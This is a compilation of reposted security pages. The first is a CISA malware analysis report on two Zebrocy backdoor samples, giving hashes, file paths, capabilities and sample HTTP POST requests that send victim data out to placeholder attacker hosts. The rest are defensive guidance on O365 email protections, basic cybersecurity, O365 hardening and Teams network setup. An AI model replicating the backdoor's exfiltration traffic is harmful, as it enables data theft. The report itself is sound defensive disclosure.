Malware Analysis Report (AR20-303B) MAR-10310246-1.v1 – ZEBROCY Backdoor

Notification

This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Summary

Description

This Malware Analysis Report (MAR) is the result of analytic efforts between the Cybersecurity and Infrastructure Security Agency (CISA) and the Cyber National Mission Force (CNMF). The malware variant, known as Zebrocy, has been used by a sophisticated cyber actor. CISA and CNMF are distributing this MAR to enable network defense and reduced exposure to malicious activity. This MAR includes suggested response actions and recommended mitigation techniques.

Two Windows executables identified as a new variant of the Zebrocy backdoor were submitted for analysis. The file is designed to allow a remote operator to perform various functions on the compromised system.

Users or administrators should flag activity associated with the malware and report the activity to the CISA or the FBI Cyber Watch (CyWatch), and give the activity the highest priority for enhanced mitigation. For more information on malicious cyber activity, please visit https[:]//www[.]us-cert.gov.

For a downloadable copy of IOCs, see MAR-10310246-1.v1.

Submitted Files (2)

0be114fe30ef5042890c17033b63d7c9e0363972fcc15a61433c598dd33f49d1 (smqft_exe)

2631f95e9a46c821a701269a76b15bb065764cc15a0b268a4d1eac045975c9b8 (sespmw_exe)

Findings

0be114fe30ef5042890c17033b63d7c9e0363972fcc15a61433c598dd33f49d1

Tags

backdoor

Details
Namesmqft_exe
Size4307968 bytes
TypePE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
MD5ba9c59783b52b93aa6dfd4cfffc16f2b
SHA1ee6753448c3960e8f7ba325a2c00009c31615fd2
SHA2560be114fe30ef5042890c17033b63d7c9e0363972fcc15a61433c598dd33f49d1
SHA512bd9e059a9d8fc7deffd12908c01c7c53fbfa9af95296365aa28080d89a668e9eed9c2770ba952cf0174f464dc93e410c92dfdbbaa7bee9f4772affd0c55dee1c
ssdeep49152:vATdsrWzBmMmRytymPIcGkJGUAErdu5Pp6oUlMXH85jHuXJfZLJC23:gYYBmMdEsx5gDXgHuTLJ
Entropy6.196940
Antivirus
BitDefenderGen:Variant.Babar.17722
EmsisoftGen:Variant.Babar.17722 (B)
LavasoftGen:Variant.Babar.17722
YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date1969-12-31 19:00:00-05:00
Import Hash20acdf581665d0a5acf497c2fe5e0662
PE Sections
MD5NameRaw SizeEntropy
b6114d2ef9c71d56d934ad743f66d209header10242.184050
0ead1c8fd485e916e3564c37083fb754.text19522566.048645
a5a4f98bad8aefba03b1fd8efa3e8668.data1960965.841971
96bfb1a9a7e45816c45b7d7c1bf3c578.rdata21539845.690400
916cd27c0226ce956ed74ddf600a3a94.eh_fram10244.244370
d41d8cd98f00b204e9800998ecf8427e.bss00.000000
1f825370fd049566e1e933455eb0cd06.idata25604.462264
486c39eb96458f6f5bdb80d71bb0f828.CRT5120.118370
aa692f6a7441edad64447679b7d321e8.tls5120.224820
Description

This file is a 32-bit Windows executable written using Golang programming language. The file has been identified as a new variant of the Zebrocy backdoor. The file takes an argument that is supposed to be an Exclusive OR (XOR) and hexadecimal encoded Uniform Resource Identifier (URI) or it can run using a plaintext URI.

Displayed below is a sample plaintext argument used by the malware:

–Begin arguments–
Domain: malware.exe <Domain>
or
IP: malware.exe <IP address:Port>
–End arguments–

When executed, it will encrypt the URI using an Advanced Encryption Standard (AES)-128 Electronic Code Book (ECB) algorithm with a key generated from the victim’s hostname. The encrypted data is hexadecimal encoded and stored into “%AppData%\Roaming\Personalization\EUDC\Policies\3030304332393839394630353537343934453244.”

It also collects information about the victim’s system such as username, 6 bytes of current user’s Security Identifiers (SID), and time of infection. The data is encrypted and hexadecimal encoded before being exfiltrated using the predefined URI:

–Begin POST requests–

–Begin POST request sample–
POST / HTTP/1.1
Host: www[.]<domain>.com
User-Agent: Go-http-client/1.1
Content-Length: 297
Content-Type: multipart/form-data; boundary=ac3d81244405bbbc958b22a748770ad10f9edd7be9946ccfd5b7bb1cc228
Accept-Encoding: gzip

–ac3d81244405bbbc958b22a748770ad10f9edd7be9946ccfd5b7bb1cc228
Content-Disposition: form-data; name=”filename”; filename=”04760175017f0d0d7f7706067302007f0573010204007134463136334635″
Content-Type: application/octet-stream

1
–ac3d81244405bbbc958b22a748770ad10f9edd7be9946ccfd5b7bb1cc228–
–End POST request sample–

–Begin POST request sample–
POST / HTTP/1.1
Host: <IP address>:<Port>
User-Agent: Go-http-client/1.1
Content-Length: 297
Content-Type: multipart/form-data; boundary=44f47dd373e3a0a0afc00d92bba90bc09c7add1bcf4074de385fd04d1108
Accept-Encoding: gzip

–44f47dd373e3a0a0afc00d92bba90bc09c7add1bcf4074de385fd04d1108
Content-Disposition: form-data; name=”filename”; filename=”04760175017f0d0d7f7706067302007f0573010204007134463136334635″
Content-Type: application/octet-stream

1
–44f47dd373e3a0a0afc00d92bba90bc09c7add1bcf4074de385fd04d1108–
–End POST request sample–

–End POST requests–

The malware is designed to encrypt future communication using an AES encryption algorithm.

The malware allows a remote operator to perform the following functions:

–Begin functions–
File manipulation such as creation, modification, and deletion
Screenshot capabilities
Drive enumeration
Command execution (using cmd.exe)
Create scheduled task for persistence
–End functions–

2631f95e9a46c821a701269a76b15bb065764cc15a0b268a4d1eac045975c9b8

Details
Namesespmw_exe
Size4313600 bytes
TypePE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
MD5e8596fd7a15ecc86abbbfdea17a9e73a
SHA1be07f6a2c9d36a7e9c4d48f21e13e912e6271d83
SHA2562631f95e9a46c821a701269a76b15bb065764cc15a0b268a4d1eac045975c9b8
SHA5124a2125a26467ea4eb913abe80a59a85f3341531d634766fccabd14eb8ae1a3e7ee77162df7d5fac362272558db5a6e18f84ce193296fcdfb790e44a52fabe02a
ssdeep49152:J8IkRvcuFh9fQgnf/1th+jrR7PNrNdbMFvm6oUlMXycR+Z5drM0us4:UJHFh91fFg/+MX9RgY0u
Entropy6.197768
Antivirus
BitDefenderGen:Variant.Babar.17722
EmsisoftGen:Variant.Babar.17722 (B)
LavasoftGen:Variant.Babar.17722
YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date1970-01-04 14:01:20-05:00
Import Hash20acdf581665d0a5acf497c2fe5e0662
PE Sections
MD5NameRaw SizeEntropy
2ebbe6c38d9e8d4da2449cc05f78054aheader10242.198390
a7c0885448e7013e05bf5ff61b673949.text19548166.046127
9bf966747acfa91eea3d6a1ef17cc30f.data1960965.843286
31182660fce8ae07d0350ebe456b9179.rdata21570565.696834
9eeb1eeb42e99c54c6429f9122285336.eh_fram10244.292769
d41d8cd98f00b204e9800998ecf8427e.bss00.000000
0bc884e39b3ba72fb113d63988590b5c.idata25604.424718
9bbfafc74bc296cd99dc8307ffe120ac.CRT5120.114463
2b60c482048e4a03fbb82db9c3416db5.tls5120.224820
Description

This file is a 32-bit Windows executable written using Golang programming language. The file has been identified as new variant of the Zebrocy backdoor. The file takes an argument that is supposed to be an XOR and hexadecimal encoded URI. The file cannot run using a plaintext URI as compared to the other Zebrocy backdoor binary “ba9c59783b52b93aa6dfd4cfffc16f2b”. This file and ba9c59783b52b93aa6dfd4cfffc16f2b have similar functions.

When executed, it will encrypt the URI using AES-128 ECB algorithm with a key generated from the victim’s hostname. The encrypted data is hexadecimal encoded and stored into “%AppData%\Roaming\UserData\Multimedia\Policies\3030304332393839394630353537343934453244”.

It also collects information about the victim’s system such as username, 6 bytes of current user’s SID, and time of infection. The data is encrypted and hexadecimal encoded before exfiltrated using the predefined URI.

–Begin POST request–
POST / HTTP/1.1
Host: www[.]<domain>.com
User-Agent: Go-http-client/1.1
Content-Length: 297
Content-Type: multipart/form-data; boundary=0af2fd2b7a4e61d071fa7002fb2b1472abba9bf8a33543e34ecd00d915db
Accept-Encoding: gzip

–0af2fd2b7a4e61d071fa7002fb2b1472abba9bf8a33543e34ecd00d915db
Content-Disposition: form-data; name=”filename”; filename=”04760175017f0d0d7f7706067302007f0573010204007134463136334635″
Content-Type: application/octet-stream

1
–0af2fd2b7a4e61d071fa7002fb2b1472abba9bf8a33543e34ecd00d915db–
–End POST request–

The malware is designed to encrypt future communication using an AES encryption algorithm.

The malware allows a remote operator to perform the following functions:

–Begin functions–
File manipulation such as creation, modification, and deletion
Screenshot capabilities
Drive enumeration
Command execution (using cmd.exe)
Create schedule a task for persistence manually
More
–End functions–

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

  1. Maintain up-to-date antivirus signatures and engines.
  2. Keep operating system patches up-to-date.
  3. Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  4. Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
  5. Enforce a strong password policy and implement regular password changes.
  6. Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
  7. Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  8. Disable unnecessary services on agency workstations and servers.
  9. Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
  10. Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
  11. Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
  12. Scan all software downloaded from the Internet prior to executing.
  13. Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

Contact Information

  1. 1-888-282-0870
  2. CISA Service Desk (UNCLASS)
  3. CISA SIPR (SIPRNET)
  4. CISA IC (JWICS)

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://www.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

  1. Web: https://malware.us-cert.gov
  2. E-Mail: submit@malware.us-cert.gov
  3. FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.

Source :
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b

Microsoft Office 365 adds protection against downgrade and MITM attacks

Microsoft is working on adding SMTP MTA Strict Transport Security (MTA-STS) support to Exchange Online to ensure Office 365 customers’ email communication security and integrity.

Once MTA-STS is available in Office 365 Exchange Online, emails sent by users via Exchange Online will only one delivered using connections with both authentication and encryption, protecting against both email interception and attacks.

Protection against MITM and downgrade attacks

MTA-STS strengthens Exchange Online email security and solves multiple SMTP security problems including the lack of support for secure protocols, expired TLS certificates, and certs not issued by trusted third parties or matching server domain names.

Given that mail servers will still deliver emails even though a properly secured TLS connection can’t be created, SMTP connections are exposed to various attacks including downgrade and man-in-the-middle attacks.

“[D]owngrade attacks are possible where the STARTTLS response can be deleted, thus rendering the message in clear text,” Microsoft says. “Man-in-the-middle (MITM) attacks are also possible, whereby the message can be rerouted to an attacker’s server.”

“MTA-STS (RFC8461) helps thwart such attacks by providing a mechanism for setting domain policies that specify whether the receiving domain supports TLS and what to do when TLS can’t be negotiated, for example stop the transmission,” the company explains in a Microsoft 365 roadmap entry.

“Exchange Online (EXO) outbound mail flow now supports MTA-STS,” Microsoft also adds.https://www.youtube.com/embed/VY3YvrrHXJk?t=775

Exchange Online SMTP MTA Strict Transport Security (MTA-STS) support is currently in development and the company is planning to make it generally available during December in all environments, for all Exchange Online users.

DNSSEC and DANE for SMTP also coming

Microsoft is also working on including support for the DNSSEC (Domain Name System Security Extensions) and DANE for SMTP (DNS-based Authentication of Named Entities) to Office 365 Exchange Online.

Support for the two SMTP standards will be added to both inbound and outbound mail, “specific to SMTP traffic between SMTP gateways” according to the Microsoft 365 roadmap [12] and this blog post.

According to Microsoft, after including support for the two SMTP security standards in Exchange Online:

  1. DANE for SMTP will provide a more secure method for email transport. DANE uses the presence of DNS TLSA resource records to securely signal TLS support to ensure sending servers can successfully authenticate legitimate receiving email servers. This makes the secure connection resistant to downgrade and MITM attacks.
  2. DNSSEC works by digitally signing records for DNS lookup using public key cryptography. This ensures that the received DNS records have not been tampered with and are authentic. 

Microsoft is planning to release DANE and DNSSEC for SMTP in two phases, with the first one to include only outbound support during December 2020 and with the second to add inbound support by the end of next year.

Source :
https://www.bleepingcomputer.com/news/security/office-365-adds-protection-against-downgrade-and-mitm-attacks/

What is Cybersecurity?

What is cybersecurity?

Cybersecurity is the art of protecting networks, devices, and data from unauthorized access or criminal use and the practice of ensuring confidentiality, integrity, and availability of information. It seems that everything relies on computers and the internet now—communication (e.g., email, smartphones, tablets), entertainment (e.g., interactive video games, social media, apps ), transportation (e.g., navigation systems), shopping (e.g., online shopping, credit cards), medicine (e.g., medical equipment, medical records), and the list goes on. How much of your daily life relies on technology? How much of your personal information is stored either on your own computer, smartphone, tablet or on someone else’s system?

What are the risks to having poor cybersecurity?

There are many risks, some more serious than others. Among these dangers are malware erasing your entire system, an attacker breaking into your system and altering files, an attacker using your computer to attack others, or an attacker stealing your credit card information and making unauthorized purchases. There is no guarantee that even with the best precautions some of these things won’t happen to you, but there are steps you can take to minimize the chances.

What can you do to improve your cybersecurity?

The first step in protecting yourself is to recognize the risks. Familiarize yourself with the following terms to better understand the risks:

  1. Hacker, attacker, or intruder – These terms are applied to the people who seek to exploit weaknesses in software and computer systems for their own gain. Although their intentions are sometimes benign and motivated by curiosity, their actions are typically in violation of the intended use of the systems they are exploiting. The results can range from mere mischief (creating a virus with no intentionally negative impact) to malicious activity (stealing or altering information).
  2. Malicious code – Malicious code (also called malware) is unwanted files or programs that can cause harm to a computer or compromise data stored on a computer. Various classifications of malicious code include viruses, worms, and Trojan horses. (See Protecting Against Malicious Code for more information.) Malicious code may have the following characteristics:
    • It might require you to actually do something before it infects your computer. This action could be opening an email attachment or going to a particular webpage.
    • Some forms of malware propagate without user intervention and typically start by exploiting a software vulnerability. Once the victim computer has been infected, the malware will attempt to find and infect other computers. This malware can also propagate via email, websites, or network-based software.
    • Some malware claims to be one thing, while in fact doing something different behind the scenes. For example, a program that claims it will speed up your computer may actually be sending confidential information to a remote intruder.
       
  3. Vulnerabilities – Vulnerabilities are flaws in software, firmware, or hardware that can be exploited by an attacker to perform unauthorized actions in a system. They can be caused by software programming errors. Attackers take advantage of these errors to infect computers with malware or perform other malicious activity.

To minimize the risks of cyberattacks, follow basic cybersecurity best practices:

  1. Keep software up to date. Install software patches so that attackers cannot take advantage of known problems or vulnerabilities. Many operating systems offer automatic updates. If this option is available, you should enable it. (see Understanding Patches and Software Updates for more information.)
  2. Run up-to-date antivirus software. A reputable antivirus software application is an important protective measure against known malicious threats. It can automatically detect, quarantine, and remove various types of malware. Be sure to enable automatic virus definition updates to ensure maximum protection against the latest threats. Note: Because detection relies on signatures—known patterns that can identify code as malware—even the best antivirus will not provide adequate protections against new and advanced threats, such as zero-day exploits and polymorphic viruses.
  3. Use strong passwords. Select passwords that will be difficult for attackers to guess, and use different passwords for different programs and devices. It is best to use long, strong passphrases or passwords that consist of at least 16 characters. (See Choosing and Protecting Passwords.)
  4. Change default usernames and passwords. Default usernames and passwords are readily available to malicious actors. Change default passwords, as soon as possible, to a sufficiently strong and unique password.
  5. Implement multi-factor authentication (MFA). Authentication is a process used to validate a user’s identity. Attackers commonly exploit weak authentication processes. MFA uses at least two identity components to authenticate a user’s identity, minimizing the risk of a cyberattacker gaining access to an account if they know the username and password. (See Supplementing Passwords.)
  6. Install a firewall. Firewalls may be able to prevent some types of attack vectors by blocking malicious traffic before it can enter a computer system, and by restricting unnecessary outbound communications. Some device operating systems include a firewall. Enable and properly configure the firewall as specified in the device or system owner’s manual. (See Understanding Firewalls for Home and Small Office Use.)
  7. Be suspicious of unexpected emails. Phishing emails are currently one of the most prevalent risks to the average user. The goal of a phishing email is to gain information about you, steal money from you, or install malware on your device. Be suspicious of all unexpected emails. (See Avoiding Social Engineering and Phishing Attacks.)

Refer to cybersecurity Tips and Cyber Essentials for more information from the Cybersecurity and Infrastructure Security Agency (CISA) on how to improve your cybersecurity posture and protect yourself and from cyberattacks.

Authors

CISA

Source :
https://us-cert.cisa.gov/ncas/tips/ST04-001

Microsoft Office 365 Security Recommendations

Summary

As organizations adapt or change their enterprise collaboration capabilities to meet “telework” requirements, many organizations are migrating to Microsoft Office 365 (O365) and other cloud collaboration services. Due to the speed of these deployments, organizations may not be fully considering the security configurations of these platforms.

This Alert is an update to the Cybersecurity and Infrastructure Security Agency’s May 2019 Analysis Report, AR19-133A: Microsoft Office 365 Security Observations, and reiterates the recommendations related to O365 for organizations to review and ensure their newly adopted environment is configured to protect, detect, and respond against would be attackers of O365.

Technical Details

Since October 2018, the Cybersecurity and Infrastructure Security Agency (CISA) has conducted several engagements with customers who have migrated to cloud-based collaboration solutions like O365. In recent weeks, organizations have been forced to change their collaboration methods to support a full “work from home” workforce.

O365 provides cloud-based email capabilities, as well as chat and video capabilities using Microsoft Teams. While the abrupt shift to work-from-home may necessitate rapid deployment of cloud collaboration services, such as O365, hasty deployment can lead to oversights in security configurations and undermine a sound O365-specific security strategy.

CISA continues to see instances where entities are not implementing best security practices in regard to their O365 implementation, resulting in increased vulnerability to adversary attacks.

Mitigations

The following list contains recommended configurations when deploying O365:

Enable multi-factor authentication for administrator accounts: Azure Active Directory (AD) Global Administrators in an O365 environment have the highest level of administrator privileges at the tenant level. This is equivalent to the Domain Administrator in an on-premises AD environment. The Azure AD Global Administrators are the first accounts created so that administrators can begin configuring their tenant and eventually migrate their users. Multi-factor authentication (MFA) is not enabled by default for these accounts. Microsoft has moved towards a “Secure by default” model, but even this must be enabled by the customer. The new feature, called “Security Defaults,”[1] assists with enforcing administrators’ usage of MFA. These accounts are internet accessible because they are hosted in the cloud. If not immediately secured, an attacker can compromise these cloud-based accounts and maintain persistence as a customer migrates users to O365.

Assign Administrator roles using Role-based Access Control (RBAC): Given its high level of default privilege, you should only use the Global Administrator account when absolutely necessary. Instead, using Azure AD’s numerous other built-in administrator roles instead of the Global Administrator account can limit assigning of overly permissive privileges to legitimate administrators.[2] Practicing the principle of “Least Privilege” can greatly reduce the impact if an administrator account is compromised.[3] Always assign administrators only the minimum permissions they need to do conduct their tasks.  

Enable Unified Audit Log (UAL): O365 has a logging capability called the Unified Audit Log that contains events from Exchange Online, SharePoint Online, OneDrive, Azure AD, Microsoft Teams, PowerBI, and other O365 services.[4] An administrator must enable the Unified Audit Log in the Security and Compliance Center before queries can be run. Enabling UAL allows administrators the ability to investigate and search for actions within O365 that could be potentially malicious or not within organizational policy.

Enable multi-factor authentication for all users: Though normal users in an O365 environment do not have elevated permissions, they still have access to data that could be harmful to an organization if accessed by an unauthorized entity. Also, threat actors compromise normal user accounts in order to send phishing emails and attack other organizations using the apps and services the compromised user has access to.

Disable legacy protocol authentication when appropriate: Azure AD is the authentication method that O365 uses to authenticate with Exchange Online, which provides email services. There are a number of legacy protocols associated with Exchange Online that do not support MFA features. These protocols include Post Office Protocol (POP3), Internet Message Access Protocol (IMAP), and Simple Mail Transport Protocol (SMTP). Legacy protocols are often used with older email clients, which do not support modern authentication. Legacy protocols can be disabled at the tenant level or at the user level. However, should an organization require older email clients as a business necessity, these protocols will presumably not be disabled. This leaves email accounts accessible through the internet with only the username and password as the primary authentication method. One approach to mitigate this issue is to inventory users who still require the use of a legacy email client and legacy email protocols and only grant access to those protocols for those select users. Using Azure AD Conditional Access policies can help limit the number of users who have the ability to use legacy protocol authentication methods. Taking this step will greatly reduce an organization’s attack surface.[5]

Enable alerts for suspicious activity: Enabling logging of activity within an Azure/0365 environment can greatly increase the owner’s effectiveness of identifying malicious activity occurring within their environment and enabling alerts will serve to enhance that. Creating and enabling alerts within the Security and Compliance Center to notify administrators of abnormal events will reduce the time needed to effectively identify and mitigate malicious activity.[6] At a minimum, CISA recommends enabling alerts for logins from suspicious locations and for accounts exceeding sent email thresholds.

Incorporate Microsoft Secure Score: Microsoft provides a built-in tool to measure an organization’s security posture with respect to its O365 services and offer enhancement recommendations.[7] These recommendations provided by Microsoft Secure Score do NOT encompass all possible security configurations, but organizations should still consider using Microsoft Secure Score because O365 service offerings frequently change. Using Microsoft Secure Score will help provide organizations a centralized dashboard for tracking and prioritizing security and compliance changes within O365.

Integrate Logs with your existing SIEM tool: Even with robust logging enabled via the UAL, it is critical to integrate and correlate your O365 logs with your other log management and monitoring solutions. This will ensure that you can detect anomalous activity in your environment and correlate it with any potential anomalous activity in O365.[8]

Solution Summary

CISA encourages organizations to implement an organizational cloud strategy to protect their infrastructure assets by defending against attacks related to their O365 transition and better securing O365 services.[9] Specifically, CISA recommends that administrators implement the following mitigations and best practices:

  1. Use multi-factor authentication. This is the best mitigation technique to protect against credential theft for O365 administrators and users.
  2. Protect Global Admins from compromise and use the principle of “Least Privilege.”
  3. Enable unified audit logging in the Security and Compliance Center.
  4. Enable Alerting capabilities.
  5. Integrate with organizational SIEM solutions.
  6. Disable legacy email protocols, if not required, or limit their use to specific users.

References

[1] Azure AD Security Defaults[2] Azure AD Administrator roles[3] Protect Global Admins[4] Unified audit log[5] Block Office 365 Legacy Email Authentication Protocols[6] Alert policies in the security and compliance center[7] Microsoft Secure Score[8] SIEM integration with Office 365 Advanced Threat Protection[9] Microsoft 365 security best practices

Alert (AA20-120A)

Source :
https://us-cert.cisa.gov/ncas/alerts/aa20-120a

Prepare your organization’s network for Microsoft Teams

Network requirements

If you’ve already optimized your network for Microsoft 365 or Office 365, you’re probably ready for Microsoft Teams. In any case – and especially if you’re rolling out Teams quickly as your first Microsoft 365 or Office 365 workload to support remote workers – check the following before you begin your Teams rollout:

  1. Do all your locations have internet access (so they can connect to Microsoft 365 or Office 365)? At a minimum, in addition to normal web traffic, make sure you’ve opened the following, for all locations, for media in Teams:TABLE 1PortsUDP ports 3478 through 3481IP addresses13.107.64.0/1852.112.0.0/14, and 52.120.0.0/14

 Important

If you need to federate with Skype for Business, either on-premises or online, you will need to configure some additional DNS records.

CNAME Records / Host nameTTLPoints to address or value
sip3600sipdir.online.lync.com
lyncdiscover3600webdir.online.lync.com
  1. Do you have a verified domain for Microsoft 365 or Office 365 (for example, contoso.com)?
    • If your organization hasn’t rolled out Microsoft 365 or Office 365, see Get started.
    • If your organization hasn’t added or configured a verified domain for Microsoft 365 or Office 365, see the Domains FAQ.
  2. Has your organization deployed Exchange Online and SharePoint Online?

Once you’ve verified that you meet these network requirements, you may be ready to Roll out Teams. If you’re a large multinational enterprise, or if you know you’ve got some network limitations, read on to learn how to assess and optimize your network for Teams.

 Important

For educational institutions: If your organization is an educational institution and you use a Student Information System (SIS), deploy School Data Sync before you roll out Teams.

Running on-premises Skype for Business Server: If your organization is running on-premises Skype for Business Server (or Lync Server), you must configure Azure AD Connect to synchronize your on-premises directory with Microsoft 365 or Office 365.

Best practice: Monitor your network using CQD and call analytics

Use the Call Quality Dashboard (CQD) to gain insight into the quality of calls and meetings in Teams. CQD can help you optimize your network by keeping a close eye on quality, reliability, and the user experience. CQD looks at aggregate telemetry for an entire organization where overall patterns can become apparent, which lets you identify problems and plan remediation. Additionally, CQD provides rich metrics reports that provide insight into overall quality, reliability, and user experience.

You’ll use call analytics to investigate call and meeting problems for an individual user.

Network optimization

The following tasks are optional and aren’t required for rolling out Teams, especially if you’re a small business and you’ve already rolled out Microsoft 365 or Office 365. Use this guidance to optimize your network and Teams performance or if you know you’ve got some network limitations.

You might want to do additional network optimization if:

  1. Teams runs slowly (maybe you have insufficient bandwidth)
  2. Calls keep dropping (might be due to firewall or proxy blockers)
  3. Calls have static and cut out, or voices sound like robots (could be jitter or packet loss)

For an in-depth discussion of network optimization, including guidance for identifying and fixing network impairments, read Microsoft 365 and Office 365 Network Connectivity Principles.

Network optimization taskDetails
Network plannerFor help assessing your network, including bandwidth calculations and network requirements across your org’s physical locations, check out the Network Planner tool, in the Teams admin center. When you provide your network details and Teams usage, the Network Planner calculates your network requirements for deploying Teams and cloud voice across your organization’s physical locations.For an example scenario, see Using Network Planner – example scenario.
Advisor for TeamsAdvisor for Teams is part of the Teams admin center. It assesses your Microsoft 365 or Office 365 environment and identifies the most common configurations that you may need to update or modify before you can successfully roll out Teams.
External Name ResolutionBe sure that all computers running the Teams client can resolve external DNS queries to discover the services provided by Microsoft 365 or Office 365 and that your firewalls are not preventing access. For information about configuring firewall ports, go to Microsoft 365 and Office 365 URLs and IP ranges.
Maintain session persistenceMake sure your firewall doesn’t change the mapped Network Address Translation (NAT) addresses or ports for UDP.
Validate NAT pool sizeValidate the network address translation (NAT) pool size required for user connectivity. When multiple users and devices access Microsoft 365 or Office 365 using Network Address Translation (NAT) or Port Address Translation (PAT), you need to ensure that the devices hidden behind each publicly routable IP address do not exceed the supported number. Ensure that adequate public IP addresses are assigned to the NAT pools to prevent port exhaustion. Port exhaustion will contribute to internal users and devices being unable to connect to the Microsoft 365 or Office 365 service.
Routing to Microsoft data centersImplement the most efficient routing to Microsoft data centers. Identify locations that can use local or regional egress points to connect to the Microsoft network as efficiently as possible.
Intrusion Detection and Prevention GuidanceIf your environment has an Intrusion Detection or Prevention System (IDS/IPS) deployed for an extra layer of security for outbound connections, be sure to allow all Microsoft 365 or Office 365 URLs.
Configure split-tunnel VPNWe recommend that you provide an alternate path for Teams traffic that bypasses the virtual private network (VPN), commonly known as [split-tunnel VPN](https://docs.microsoft.com/windows/security/identity-protection/vpn/vpn-routing). Split tunneling means that traffic for Microsoft 365 or Office 365 doesn’t go through the VPN but instead goes directly to Microsoft 365 or Office 365. Bypassing your VPN will have a positive impact on Teams quality, and it reduces load from the VPN devices and the organization’s network. To implement a split-tunnel VPN, work with your VPN vendor.Other reasons why we recommend bypassing the VPN:VPNs are typically not designed or configured to support real-time media.Some VPNs might also not support UDP (which is required for Teams).VPNs also introduce an extra layer of encryption on top of media traffic that’s already encrypted.Connectivity to Teams might not be efficient due to hair-pinning traffic through a VPN device.
Implement QoSUse Quality of Service (QoS) to configure packet prioritization. This will improve call quality in Teams and help you monitor and troubleshoot call quality. QoS should be implemented on all segments of a managed network. Even when a network has been adequately provisioned for bandwidth, QoS provides risk mitigation in the event of unanticipated network events. With QoS, voice traffic is prioritized so that these unanticipated events don’t negatively affect quality.
Optimize WiFiSimilar to VPN, WiFi networks aren’t necessarily designed or configured to support real-time media. Planning for, or optimizing, a WiFi network to support Teams is an important consideration for a high-quality deployment. Consider these factors:Implement QoS or WiFi Multimedia (WMM) to ensure that media traffic is getting prioritized appropriately over your WiFi networks.Plan and optimize the WiFi bands and access point placement. The 2.4 GHz range might provide an adequate experience depending on access point placement, but access points are often affected by other consumer devices that operate in that range. The 5 GHz range is better suited to real-time media due to its dense range, but it requires more access points to get sufficient coverage. Endpoints also need to support that range and be configured to leverage those bands accordingly.If you’re using dual-band WiFi networks, consider implementing band steering. Band steering is a technique implemented by WiFi vendors to influence dual-band clients to use the 5 GHz range.When access points of the same channel are too close together, they can cause signal overlap and unintentionally compete, resulting in a bad experience for the user. Ensure that access points that are next to each other are on channels that don’t overlap.Each wireless vendor has its own recommendations for deploying its wireless solution. Consult your WiFi vendor for specific guidance.

Bandwidth requirements

Teams is designed to give the best audio, video, and content sharing experience regardless of your network conditions. That said, when bandwidth is insufficient, Teams prioritizes audio quality over video quality.

Where bandwidth isn’t limited, Teams optimizes media quality, including up to 1080p video resolution, up to 30fps for video and 15fps for content, and high-fidelity audio.

This table describes how Teams uses bandwidth. Teams is always conservative on bandwidth utilization and can deliver HD video quality in under 1.2Mbps. The actual bandwidth consumption in each audio/video call or meeting will vary based on several factors, such as video layout, video resolution, and video frames per second. When more bandwidth is available, quality and usage will increase to deliver the best experience.

Bandwidth(up/down)Scenarios
30 kbpsPeer-to-peer audio calling
130 kbpsPeer-to-peer audio calling and screen sharing
500 kbpsPeer-to-peer quality video calling 360p at 30fps
1.2 MbpsPeer-to-peer HD quality video calling with resolution of HD 720p at 30fps
1.5 MbpsPeer-to-peer HD quality video calling with resolution of HD 1080p at 30fps
500kbps/1MbpsGroup Video calling
1Mbps/2MbpsHD Group video calling (540p videos on 1080p screen)

Microsoft 365 and Office 365 Network Connectivity Principles

Worldwide endpoints: Skype for Business Online and Teams

Proxy servers for Teams

Media in Teams: Why meetings are simple

Media in Teams: Deep dive into media flows

Identity models and authentication in Teams

How to roll out Teams

Teams Troubleshooting

Source :
https://docs.microsoft.com/en-us/microsoftteams/prepare-network

Microsoft Office 365 URLs and IP address ranges

Network rules and firewall exceptions – if needed

Start with Managing Office 365 endpoints to understand our recommendations for managing network connectivity using this data. Endpoints data is updated at the beginning of each month with new IP Addresses and URLs published 30 days in advance of being active. This allows for customers who do not yet have automated updates to complete their processes before new connectivity is required. Endpoints may also be updated during the month if needed to address support escalations, security incidents, or other immediate operational requirements. The data shown on this page below is all generated from the REST-based web services. If you are using a script or a network device to access this data, you should go to the Web service directly.

